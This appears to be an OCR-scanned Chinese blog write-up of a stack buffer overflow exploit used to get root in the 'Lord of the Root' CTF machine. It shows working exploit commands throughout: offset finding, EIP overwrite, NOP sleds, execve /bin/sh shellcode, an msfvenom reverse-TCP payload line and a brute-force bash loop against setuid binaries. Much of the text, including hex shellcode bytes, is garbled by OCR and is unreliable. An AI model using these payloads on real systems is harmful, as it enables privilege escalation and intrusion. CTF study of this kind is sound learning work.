SAIOAJOAJ1Aj2AI3AILATSATEATTATBATOAKDAKIAK2AKIAKLAKSAKBAKTAKEAKIATOATLIALZALSATLALSALAAL7ALSATIAMBAMLAM2AM3
Am4AmMSA™ ... )
@@@8| ("AglAg2Ag3AgLiAgSAgEATTAgBAg9AhOAh1AR2AR3SARLARSARBARTARBARGAIBAIIAIZAIZAILAAISAI6AITAIBAIY
AJOAJIAJ2ATIATLATSATEATTATBAJIAKBAKIAKZAKIAKLAKSAKEAKTAKBAKIATOALIALZAT3ATLALSATAATTALSALSAMBAMIAM2 AM3AMLA
mSAmeAm" ... )
@@12| ("g2Ag3AgLAgSASEAETAZBACIAhOARIAR2AR3ARLARSARBARTARBARIAIBOAIIAIZAI3AILSAISAI6AITAIBAIOA]BA
J1Aj2AFIATLATSATEAT7ATBATOAKDAKIAKZAKIAKLAAKSAKGAKTAKBAKIATDALIALZALIATL4ATSATAALTALBAL9AMAAMIAM2 Am3Am4AmSAm
6AM7AmME" ... )
@@16| ("3Ag4AgSAgBASTASBAZOARBARIARZAR3ARLARSARBARTARBARSAIOATIIAIZAIIAIAAISAIBGAITAIBAIGAJOATIA]
2Aj3AT4AT5ATEATTAIBATIAKDAKIAKZAKIAKLAKSAKGAKTAKSAKIATRATIALZALIALLALSAT6AL7ALSALIAMBAMLAMZ AMm3AM4AAMSAMGAMT
AmSAmMIA" ... )
@@2@| ("Ag5Ag6Ag7AgBAg9AhBARIARZAR3ARLARSARBARTARBARGAIBAIIAIZAIIAILAISAIGAITAIBAI9AJOATIA]ZA]3
AjLAFSATEATTATBATIAkDAKIAKZAKIAKLAAKSAKEAKTAKSAKIATAATIALZAL3ATAALSA16ATTALSAL9AMAAMIAM2 Am3Am4AMSAMEAMT AMBA
mSAnN@AN" ... )
@@2#| ("gbAg7AgBAg9AR@ARIAR2AR3AR4ARSARBARTARBARSALIBAIIAIZAIIAILAAISAI6AITAIBAI0A]OATIAT2ZA]IATLA
j5AT6ATTAIBATOAKDAKIAKZAKIAKSAKSAKGAKTAKSAKOATAATIALZATIATAATSA16AT7ALEATOAMAAM]AMZ Am3AmAAMSAMEAMT AmEAMIAN
@AN1AN2" ... )
@@28| ("7AgBAg9AhBARIARZAR3ARLARSARGARTAREARIAIBALIAIZAIZAIAAISAIGAITAIBAIGATOAJIAJ2ZA]3AJLATEA]
6Aj7ATEAT9AKOAKIAKZAK3AKLAKSAKEAKTAKSAKIATAALIALZATL3AT4ALSA16ALTALSAL9AMAAM1AMZ AM3AMAAMSAMEAMT AMSAMSANGANL
AnZAn3A" ... )

Legend: Y , rodata, value
Stonned veasnn:®

in 77 ()
. CSDN @/DERiE A

fE T R A W RS
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41376641
[*] Exact match at offset 171

TE IR E N7,

® /2022/6
L . lait 0x41376641

[#] Exact match at offset 171

SARTE RS B 17 13 5 1 -

run $(python -c 'print "A" * 171 + "B" * 4')
EIP: ©x42424242 ('BBBB')

I & BEIP A4 3H 78 BBBB A 4%l -




- root@kali: /.

X e HiE EE EH

run ${python -c 'print "A" * 171 + "B" * 4')
Starting program: /2022/6/+ile $(pythen -c 'print "A" * 171 + "B" * 4')

Program received signal SIGSEGV, Segmentation fault.

EAX: @@
: Bx@
: —> Px43004242 ('BB')
—3 @x4242 ("BB")

r Bx2

¢ (<_start>: Xor ebp,ebp)
D Bx415414141 (CAAAAT)
g — B=B

Bx42424247 ( 'BBBB' )

35: 0x10202 (carry parity

0000 |
0004 |
0008 |
0012 |
0016 |
0020 |
0024 |
0028

(=]
»
(=]

— ("/2022/6/file™)
—3 ("COLORFGBG=15;8")
—> 0%
— Bxfe@eB8da3
il
804826a ("GLIBC_2.08")
— Bxleadbc

BBl g

Legend: + , rodata, value
Stopped reason:
in 77 ()

CSDN @/ FfEE X,

Nop Z= [ iRESP:

run $(python -c ‘print "A" * 171 + "B" * 4 + "\x90" * 2500')

x/s $esp

Pxffffc530: '\220' <repeats 200 times>...

IXEHRESPAE T, #5IA T FFffcs3eihit, Xfnop slediiHihkFFaR4t,
HESPIE M ZHbL AL S, BSPATERHEE R FpayloadikBshell, B4 E: T Rk &ZIEM
nop sled#vjil.

run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 3000')
Starting program: /2022/6/file $(python -c 'print "A" %= 171 + "B" * 4 + "\x90" = 3000')

Program received signal SIGSEGY, Segmentation fault.

: 0x@

: 0x@

— B=43009090
= —> 0x0Q009290
T: @x2
£ (< start>:

P: @x41414141 ("AAAA')

P: —> 0x9Q909290
P: @x42424242 ("BBBE')

0=90909090
0=9090909@
0=x90909090
0=x90909090
0=9090909@
0=9090909@
0=x9090909@
0=90909090

0000 |
0004 |
0008 |
0012 |
0016 |
0020 |
0024 |
0028 |

VELELLLL

Legend: E , rodata, value

Stopped reason: CSDN @/MEREZE X,
in 77 ()

&= payload

peda help shellcode //XT shellcode HIFEES

shellcode search exec // WfAfEA ‘exec' #ZEFH shellcode




 help shellcode

rch/]platform type [por
for any character v /
codeId (shellcodeld as appears in search results)
customize shellcode]

7.127.127/16706

Connec
Found 1

/bin/sh - 88 byt
() 112 byte
(/bin/sh) - 12
reuid(geteuid() : a a(/bin/sh, /bin/sh, @)

bin/sh) 7 bytes
(/bin/sh, ..., NULL)
- 28 byte
/bin/sh)
/bin/sh
/bin/sh
/tmp/sh -
bin/sh

shellcode display 841 // XHE {841k



shellcode display 841

L‘UIIII':‘\.LJ.IIS LU SIS LLTSLULI. ML «e
i

Tiny Execve sh Shellcode - C Language - Linux/x86
Copyright (C) 2013 Geyslan G. Bem, Hacking bits

http://hackingbits.com
geyslanfgmail.com

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundaticn, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 5See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>

*/
J*
tiny_execve_sh_shellcode

* 21 bytes
# null-free

# gcc -m32 -fno-stack-protector -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode

Testing
# ./tiny_execve_sh_shellcode

o CSDN @/DFREZE X,

#include <stdio.h>
#include <string.h>

unsigned char shellcode[]

"Yx31N\xc9\xF7 \xel\xb0\xBb\x51\x68\x2f\x2f"
"Wx73\x68\x68 \x2f\x62\x69 \ x6e \x89 \xe3\xcd"
"\x80";

main ()

{
// When contains null bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcede)});
// Pollutes all registers ensuring that the shellcode runs in any circumstance.

asm__ ("movl §exffffffff, %eax‘n\t"
"movl %eax, %ebx\n\t"
"movl %eax, ¥ecx\n\t"
"movl %eax, ¥edx\n\t"
"movl %eax, ¥esi\n\t"
"movl %eax, ¥edi\n\t"
"movl %eax, ¥ebp\n\t”

// Calling the shellcode
"call shellcode"};

CSDN @/MEREE X,




shellcode generate x86/linux exec “ishellcode
checksec

Oxffffc530 ff ff c5 30
| \x30\xc5\xff\xff

W iinop sled#ithitls 30000
run $(python -c 'print "A" * 171 + "\x30\Xc5\xff\xff" + "\x90" * 30000 + "\x31\xcO\x50\x68\x2f\x2f\x73\x68\x68\X
VARV CYAVCEAVCIAVEEAV CEAV E N AVIAAVE AV AV CEAV LAV E AV AV {2 )

// 171N0AEHEJE EIP #5181\x00\xcd\xff\xff shellcodefi®

shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"AxI1A\KcO\X5B\X6B\X2 F\X2F\ XTI\ X668\ x68\x2F\x62\x69\x6e\x8T\xe3\x31"
"\xco\x89\xca\x6a\x@b\x58\xcd\x80"

run $tpython -c "print "A" % 171 + "\x30\xcS\xffAxff" + "\x90" * 30000 + "\x31\xcO@\x50\x6
BAX2 A2 \x73\x68 \x68 \x2f \x62 \x69 \x6e \x89\xe3\x31\xcI\x89 \xca\x6a\x0b\x58\xcd\x80" " )
Starting program: /2022/6/file $(python -c ‘print "A" +* 171 + "\x30\xcH\xff\xff" + "\x00" * 30000 +
"Ax31AXcOAX50\XE8 A\ X2 F A X2\ XTI\ 68\ X068 \ X2\ x62\x69 \x6e\ X80 \xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
")
process 4593 is executing new program: fusr/bin/dash

71

EEHLIR AL

objdump — 3§ 3L 44 #r

objdump T & AR &7 —#EHI ST HIME R, B BA—Fhm] B8 5 4% sUAL AR B8 2 3 17 A — 386 SCAF AT e O RIS 2 o

ik Ndoorl, RAGfilestft, ZilHraEl it
objdump -d --no-show-raw-insn file

/[ BE T HAT R B+ B file

-d, --disassemble E/RAIHATERHIILIRIER A&
--[no-]show-raw-insn 5 RICHFILERT7 ]

strings

PE o B0 SO B — 3 ) ST A R B 4R T 3T B A A
stringsdr® FEX RO R HI XA ER A ITEN N 7/ 5 . FAASERANRES T FRERFS, DBITHEREFALER. strings
i XHRBIBELXT R SAHRE A

SE N E
https://blog.csdn.net/u011500307/article/details/25926111

https://wangchujiang.com/linux-command/c/strings.html




root

doorl/file
door2/file
door3/file

doorl HZFE FHIfilextff Hstrcpy

cagol@glLordOfTheRoot CRET$ strings doorl/file
/ld-linux.s0.2

libc.so.6
I0 stdin used
strcpy

a

PTRh
avh]

@Lord0fTheRe ngs door2/file
-linux.so0.2

printf
__libc_start_main

PTRh
QVvhM
[-=8

libc.so.6
_I0_stdin_used

PTRh
QVhm
[5}

pwndgb

SEHME https://ch4rll3.github.io/2018/06/22/pwnMNITRIHF FEAAE FH HrE/




vim ~/.gdbinit
P1#:3) pwndgb

root@kali:
e fwmiz EZF BH
dbinit.py

B T FRATS0E
FH gdb 2t

root @kali:

Xt oiff HwiE EE B

/2022/6

undation, Inc
or 1 r <http: pr i gpl.html>




r $(python -c 'print "A"*171 + "B"*4 + "C"#2@')
Starting program: /2022/6/file $(python -c 'print "A"#171 + "B"%4 = "C"%20')

Program received signal SIGSEGY, Segmentation fault.
in 72 @
LEGEND: STACK | | | RWX | RODATA

0x@

BxQ

Oxffffd410 « @x43004343 /x 'CC' */
Oxffffdof2 « @xdb@@4343 /> 'CC' */

+ XOr ebp, ebp

Bx2

Axh AL L6 L AAAL" Y

Oxffffdoe@ « "CCCCCCCCCCCCCCCCCCCC'
Wxalataia) | BBEBB )

QB:0000| esp o=ffff 2@ «— 'CCCCccecececceecccecc”
e b 4 skipped
@5:0014 o=ffffdafs —» - @=0

@6:0018 oxff - - nc edi /* 'GLIBC_2.0" */
87:001c Fff - «— B=leadbc

@=x42424242
@=43434343
0x43434343
@x43434343
@=43434343

043434343 CSDN @/ X,

vmmap

BATHE linux SCHERURE =F

—f& r-x rw-  wx —BEARFEIRHEZAL
BATE XN
PxFFffddee rwx BiBXAML BRATATLLSE 4], FEknr AR A shellcode

LEGEND: STACK | Rwx RODATA

0xf7dbc00@ @xf7dd9eoe /usr/1ib/i386-1inux-gnu/libc-2.33.s0

@xf7f31000 0=xf7fa5000 17500@ /usr/lib/i386-linux-gnu/libc-2.33.s0
0xf7fas000 oxf7fa7e00 1e800@ fusr/lib/i386-1inux-gnu/libc-2.33.s0

@xf7fc5000 @=f7fcooea [vvar]
@xf7fcbee@ 0=xf7fccoon fusr/1ib/i386-1linux-gnu/1d-2.33.s0

0=xf7fee00@ 0=xf7ffbooo /usr/1ib/i386-1inux-gnu/1d-2.33.s0
0xf7ffboee o=xf7ffdeee fusr/1ib/i386-1inux-gnu/1d-2.33.s0

0xfffddeeo 0xffffe0oo

] CSDN @/ FfF#E X,

r $(python -c 'print "A"*171 + "B"*4 + "C"*20'")




smeagol@lLordofTheRoot : /SECRET/door2$ gdb ./file

GNU gdb (Ubuntu 7.7.1-@ubuntu5~14.04.2) 7.7.1

Copyright (C) 2014 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law. Type "show copying”
and "show warranty” for details.

This GDB was configured as "i686-linux-gnu”.

Type "show configuration™ for configuration details.

For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs />.

Find the GDB manual and other documentation resources online at:

<http: // v .gnu.org/software/gdb/documentation /.

For help, type "help”.

Type "apropos word” to search for commands related to "word” ...

Readipg sumhols from  /file (no_debugging sumhnls found) ... done.

(gdb)  r $(python -c 'print "A"#171 + "B"*4 + "C"%2@°)

Starting program: /SECRET/door2/file $(python -c ‘print "A"*171 + "B"*4 + "C"%20')

Program received signal SIGSEGVY, Segmentation fault.
@x42424243 in 77 ()

(gdb) info_r

eax 0=9 5]

ecx @=bfelb8b@ -1075726160
edx @=xbfelb3ce -1075727410
ebx 9xb7739000 -1217163264
esp @xbfelb3co @xbfelb3co
ebp O=41414141 O=41414141
esl [SE] 5]

adi A=A 4]

eip Ox4I424347 Ox42424243
eflags 0x1@282 [ IF RF ]

(o4 @x73 115

55 @=7h 123

ds @=7b 123

es SR ] 123

fs @=0 a

@=33 51

gs
(gdb)

CSDN @/IMEREE X,

SR X v I FEAE i shellcodelf, MBI RKFR, W’ n’ ZRESL RN, SBHBMASHRINBMANZRIRETEHANE X . H LK
PR FERFH x0a. x0b. x00

TEAE R — B 5 F AR FER. UT python MATHTERM \x01 2 \xff KIFF

1 /usr/bin/env python
from _ future__ import print_function

for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end="")

print()

python zifu.py

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1la\x1b\x1lc
\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38
\X39\x3a\x3b\x3c\x3d\x3e\x3F\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54
AWERAVEIAVEVAV CEAVEEAVEE AV E LAV CTAV E LAV CIAAV R AV CLAV CIAV (PAV CEAV (TAV CEAV IRV YAV CEAV CEAV CEAV CIAV TV CLAV CIAV (G AV L%
\X71\Xx72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7F\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c
AWWELAVCIAV I AV CLAVCIAV EPAVEEAVCIAV C AV CIAVEVAV CEAVCEAVEEAV AV EIAVE LAV ECIAVEI AV C LAV CHAV E VAV CEAV E VAV E AV E AV EVAV EL:
\xa9\xaa\xab\xac\xad\xae\xaf\xbo\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO\xcl\xc2\xc3\xc4
\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xdo\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe9|
WEAVCVAVEEAVCEAV CRAVCIAV AV CEAVCEAV CEAVE AV E AV CRAVEEAVE AV AV MAVS WAV AVS /AV'G AV E d AV S WAV S R AV S CAVS =RV G 1 s AV e
\xfd\xfe\xff




[2022/6/zifu.py - Mousepad
ZHH(F) fREE(E) M= 0 3#4(D) #EhH)
Lt B C x O aQan
& BIEEER root TP, BrlfERREBNRLE,

print_function

.format(x), end="")

PO~ WwU s W e

[l

GDBus.Err ede op.DBus.Er

/2022/6

$(python -c 'print "A"*171 + "B"*4 + ""')
G RFEA"

X/256b $esp BETFHF
RIELF i \x09
\x@a RIMATHRF tHhEH




(gdb) x/256x %$esp

@xbfch7fe@: o=@l a=Q8
@xbfch7f68: =00 @=b7
@xbfch7f7@: 0o=04 @xbf
@xbfch7f78: =94 a=Q8
@xbfch7f8@: B=1c @=b7
@xbfch7f88: 0=00 a=0a
@xbfch7fo@: 0=00 @=8a
@xbfch7fo8: B=3a a=0a
@xbfch7fa@: 0=00 a=0a
@xbfch7fa8: =04 a=Q8
@xbfcbh7fb@: 0=00 @=b7
@xbfcb7fb8: 0=99 @=b7
@xbfch7fc@: =04 a=Q8
@xbfch7fc8: 0=00 a=08
@xbfcb7fd@: @=5d a=0a
@xbfcb7fd8: @xf4 a=Q8
@xbfch7fed: =20 @=b7
@xbfcb7fes: Bxec 0=08
@xbfch7ff@: 0o=04 @xbf
@xbfch7ff8: =09 @xbf
@xbfch8oaa: o=d7 a=0a
@xbfch8008: B=bh7 @xbf
@xbfch8ole: @=d8 @xbf
@xbfch8018: @=@d @xbf
@xbfch802@: @=2d @xbf
@xbfch8028: @=5a @xbf
@xbfch803@: @xcf @xbf
@xbfch8038: @xff @xbf
@xbfch804@: B=22 @xbf
@xbfch8048: @x3e @xbf
@xbfch805@: B=56 @xbf

@xbfcb8ass: 0xas axbf I e
(gdb) i CSDN @/ FiEE K,

24 \x09\x0a EHIEA

(gdb) x/256x %$esp

@xbfbl6e40: 0x01 0x06  ©x07  ©x08
@xbfbl6e48: @b @x10  @x11  @x12
@xbfb16e50: 0x13 @x18  ©x19  ©xla
@xbfb16e58: @x1b 0x00 | ©x04  ©x08
@xbfb16e60: Bx1c @x70  ©@x76  ©xb7
0xbfb16e68: 0x00 @x00  ©x0@  ©x00
@xbfb16e70: 0x00 @xaa  ©@xBa  @x47
@xbfbl6e78: xd2 @x@0  ©x0@  ©x00
@xbfb16e80: 0x00 @x00  ©x0@  ©x00
@xbfb16e88: 0x03 @x83  ©x04  ©x08
@xbfb16€90: 0x00 @x95  ©x79  @xb7
@xbfb16€98: x99 @x60  @x7a  ©xb7
@xbfbl6ead: 0x03 @x83  ©x04  ©x08
@xbfbl6eas: 0x00 @x83  ©x04  ©x08
@xbfb16eb0: @x5d @x00  ©x0@  ©x00
@xbfb16ebs: @xd4 @x84  ©@x04  ©x08
@xbfbl6eco: 0x20 @x41  @x79  @xb7
@xbfbl6ecs: Bxcc @x00  ©x0@  ©x00
@xbfbl6ede: 0x03 @x86  @xbl  @xbf
@xbfbl6eds: @x0a @x87  @xbl  @xbf
@xbfbl6eed: 0x00 @x88  @xbl  @xbf
@xbfbl6ees: Bxc8 @x88  @xbl  @xbf
@xbfbl6efo: Bxec @x89  @xbl  @xbf
@xbfbl6efs: 0x20 @x89  @xbl  @xbf
@xbfb16f00: Bxie @x8e  @xbl  @xbf
0xbfb16f08: 0xbs @x8e  @xbl  @xbf
exbfb16f10: xde @x8e  @xbl  @xbf
@xbfb16f18: Bx11 @x8f  @xbl  @xbf
0xbfb16f20: 0x2b ex8f  @xbl  @xbf
0xbfb16f28: 0x46 exsf  @xbl  @xbf
0xbfb16f30: 088 0x8f  Oxbl  @xbf
0xbfbl1638: 0xc7 0-B& DN @i figigp [X],

NERFAN \x09 \x0a \x20
A \x00 BRINHERRZ=Z5F




@xbff82580: 0=07 0=08
@xbff82588: Bx11 Bx12
@xbff82590: 0x19 Bxla
@xbff82598: Bx22 Bx23
@xbff825a0: Bx2a Bx2pb
@xbff825a8: Bx32 Bx33
@xbff825b0: Bx3a @x=3b
@xbff825b8: Q=42 Bx43
@xbff825c0: Bx4a @x4pb
@xbff825c8: Bx52 0x53
@xbff825de: Bx5a @x=5b
@xbff825d8: Bx62 Bx63
@xbff825e0: Bx6a @x6b
@xbff825e8: Bx72 Bx73
@xbff825f0: Bx7a @x7b
@xbff825f8: Bx82 Bx83
@xbff82600: Bx=8a @=8b
@xbff82608: Bx92 0x93
@xbff82610: Bx9a 0x=9b
@xbff82618: Bxa2 Bxa3
@xbff82620: Bxaa @xab
@xbff82628: @xb2 @xb3
@xbff82630: @xba @=bb
@xbff82638: @xc2 @=c3
@xbff82640: @xca @=chb
@xbffB2648: @=d2 @=d3
@xbff82650: @=da @=db
@xbff82658: Bxe2 @xe3
@xbff82660: @xea @xeb
@xbff82668: Bxf2 Bxf3
@xbff82670: @xfa @xfb

oxbff82678: T&DN W FE R X

-e B MRIGEE

-f HFENIES

-c HEELSHMIM win32 shellcode X/
-v B &R

Linux:
msfvenom -a x86 --platform linux -p linux/x86/shell reverse tcp LHOST=x.x.Xx.x LPORT=443 -b "\x00\x09\x0a\x20" EX
ITFUNC=thread -f c

linux2:
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x@0\x09\x@a\x20' -e x86/shikata_ga nai -fc

AV GEAV VAV G AV CIAVE VAV G EAV (A AV C EAVZAVPLANE ZAVE AV ENAV (L AV YAV C AV CEAV CIAVE FAV E YAV G EAV S AV CEAV G EAV S AV YAV YAV Y]
F\X90\x4c\xF5\xe2\xco\x04\x28\x60\x84\x32\x5a\x49\xe5\xd4\x9a\xFd\x26\x47\xF3\x93\xb1\x64\x51\x84\xca\x6a\x55\x5

4\ xe4d\x08\x3c\x3a\xd5\xbf\xd6\xc2\x7e\x13\xaf\x22\x4d\x13"

X ERBE A REAGERT —A SRERKEA—F (HRHERR T CEH




-] /2022/6
%86 linux/x86/exec CMD=/bin/sh "\x@0\x09\x0a\x20" x86/shikata_ga_nai

[-] No plattorm was selected, choosing Mst::Module::Plattorm::Linux trom the payload
Found 1 compatible encoders
Attempting to encode payleoad with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with fipal size 7@
Payload size: 7@ bytes
Final size of ¢ file: 319 bytes
unsigned char buf[] =
"Nadb\xd@\xd9\xT&\x2 4 \x T4 \x5F \xbe \xFfo\xad\x8b\xb8\x2b\xc9\xb1"
"Wa@b\x31\x7 7 \x1a\x03\x7 7 \x1a \x83 \xef\xfc\xe2\x083\xca\xB@\xed"
"ANAT2AR59N\xF 1\ xTB \xa9\x3d \ x T4\ X9\ xd 9\ xee\ x5\ xB8\x19 x99 \xde"
"\xaa\x70\x37\xa0 \xc8\xd@\x2f\xba\x0e\xd4\xaf \x94 \x6c\xbd\xc1"”
"\xc5A\x@3\x55 \x1e\x4d\xb7 \x2c\xfF\xbc\xb7";

® /2022/6

CSDN @/ 4EEZ X,

& jmp
R EEEEREA A npRles (FARMTLIERES eax) , BH LW E T HIIRIRAFH KR, AR .

objdump -D file | grep -P 'jmp|call' | grep esp
AT Ejmp Bkt Blshellcode, T RS 52 KEKnopRiH!

smeagol@lLord0fTheRoot: /SECRET$ 1s -1shR

total 12K

4.0K drwxr-xr-x root root 4.8K Mar 3@
4.0K drwxr-xr-x root root 4.8K Mar 3@
4.0K drwxr-xr-x root root 4.8K Mar 3@

./doorl:
total 8.0K
8.0K -Twsr-xr-x - 2015 S

./door2:
total 8.0K
8.0K -rwsr-xr-x ’ 2015 file

./door3:

total 8.0K

8.0K -rwsr-xr-x 1 root root 5.1K Sep 22 2015 file

smeagol@lLordOfTheRoot: /SECRET$ cd door3

smeagololord0+TheRoot: /SECRET/door3% objdump -D file | grep -P "Jmp|call’ | grep esp
smeagol@lLord0fTheRoot : /SECRET /door3$ [

CSDN @/b4ERE%

run $(python -c 'print "A"*171 + "\xd@\xfe\xe7\xbf" + "\x90"*3000')
bfe7al90




‘70 qterminal 22:3421 O

smeagol@LordOfTheRoot: /SECRET/door3

Xt EnfE miE@ EE ME
smeagolaLord0fTheRoot : /SECRET$| 1s -alhR

total 20K

drwxr-xr-x 5 root root 4.0K Sep 22 2015
drwxr-xr-x 23 root root 4.0K Sep 22 2015
drwxr-xr-x 2 Toot root 4.0K Mar 30 08:33
drwxr-xr-x 2 root root 4.0K Mar 30 08:33
drwxr-xr-x 2 root root 4.0K Mar 30 08:33

./doorl:
total 16K

drwxr-xr-x 2 root root 4.9K Mar 3@ 08:33
drwxr-xr-x 5 root root 4.9K Sep 22 2015
—rwsr-xr-x 1 root root 7.2K Sep 17 2015 file

+/door2:

total 16K

drwxr-xr-x 2 root root 4.9K Mar 3@ 08:33
drwxr-xr-x 5 root root 4.0K Sep 22 2015
—rwsr-xr-x 1 root root 7.2K Sep 17 2015 Ffile

./door3:
total 16K

druxr-xr-x 2 root root 4. 08:33

drwxr-xr-x 5 root root fe0k.Sop.22..2015

—rwsr-xr-x 1 root root |5.1K Sep 22 2015 File

smeagolaLordofTheRoot : /SECRETS cd _door3

smeagoldLord0fTheRoot : /SECRET/door3< edb_./file

GNU gdb (Ubuntu 7.7.1-@ubuntuS~14.04.2) 7.7.1

Copyright (C) 2014 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty” for details.

This GDB was configured as "i686-linux-gnu”.

Type "show configuration® for configuration details.

For bug reporting instructions, please see:

<http://ww .gnu.org/softuare/gdb/bugs />.

Find the GDB manual and other documentation resources online at:

<http: //ww .gnu.org/software/gdb/documentation />.

For help, type "help’.

Type "apropos word" to search for commands related to "word"

Reading symbols from ./file... (no debugeing symbols found)

(gdb) run §(python —c ‘print "A"*171 + "\xd@\xfe\xe7\xbf"

Starting program: /SECRET/door3/file $(python -c 'print "A"x171 + "\xdo\xfe\xe7\xbf" + "\x90"*3000')

Program received signal SIGSEGV, Segmentation fault.
@oxbfe7fedo in 77 ()
(gdb)(info r
.20 [
0xbfe7c8bo -1075328848
oxbfe7ads2 -1075335870
2xb772b090 -1217220608
0xbfe7a190 oxbfe7al90
URGTATGT4T URGTAIET4T
2] [
ox0 o
0xbfe7fedo oxbfe7 fedo
[ IE RE
115

CSDN @/ bRz N,

! /bin/bash
while true; do

$(find /SECRET -type f -size 5150c) $(python -c 'print "A"*171 + "\x90\xal\xe7\xbf" + "\x90"*30000 + "\xb8\x77
WAV ECIAVEVAVGEAV A AVG EAVIZAVOZAVE AV E AV EN AV AV GH AV AV EEAVC AV MV ENAVZ EAVE MAV'CEAVE EAVE AV YAV YAV A AV E AV Yo
AN SCEAV VAV AV LAV LAV CIAVCZAVEVAVEE AV CEAVEEAVC LAV EEAVS (e AV PIAVE VAV EAV CEAV G HAV AV EY AV VAV AV G E AV C LAV YAV GCHANCL
\Xx3c\x3a\xd5\xbf\xd6\xc2\x7e\x13\xaf\x22\x4d\x13""') 2> /dev/null

sleep 1

done

BB XA
BRI
.

cd /tmp //XANCHFTH R
nano exp.sh vi exp.sh //# W LAz




B omPac]-

Xt EIfE miE EE EE
1

smeagol@LordOfTheRoot: ftmp

null

smeagol@LordOfTheRoot: /tmp
&8

null

chmod +x exp.sh
./exp.sh

LaLord0t TheRoot:/tmp$ nano exp.sh
ordofTheRoot:/tmp$ chmod +»
smeagol@LordofTheRoot : /tmp$ . /exp.sh
Line . L r c) $(python
x9a\xfd\.

) $(python
SR

dumped) $
2\xC0\xB4\x28\xE
$(find
9 d\
) $(python
1 fd

fault
2F\x90\

‘print
4 7\xF3\x9:
$(python

a\x
$(python -

=

a
$(pytho

AHENL AR A G BN AR b (K0 HRAL, S0 5 X Bt SALYT 5 Bl LB, LR 3 Awrteup 51 B 72
15t



hping3 ¥ K7
://blog.csdn.net/qq_30247635/article/details/86243448

msfiEMssh
https://blog.csdn.net/huweiliyi/article/details/105590291

R X vh HY
https://blog.csdn.net/missmxr/article/details/121451920

pwngdb i

https://ch4r1l3.github.i0/2018/06/22/pwn A1 EIMF 5 = F—gdb i A F 078 /

gdb5peda. pwngdb. pwndbgil & %% 51 H
https://blog.csdn.net/whbingl471/article/details/112410599

pwnFF 2
https://mambainveins.com/2021/07/23/2021/2021-07-23-pwn_env/

VIR ZE PP X
https://isbase.cc/tip/exploit/tip-2.html
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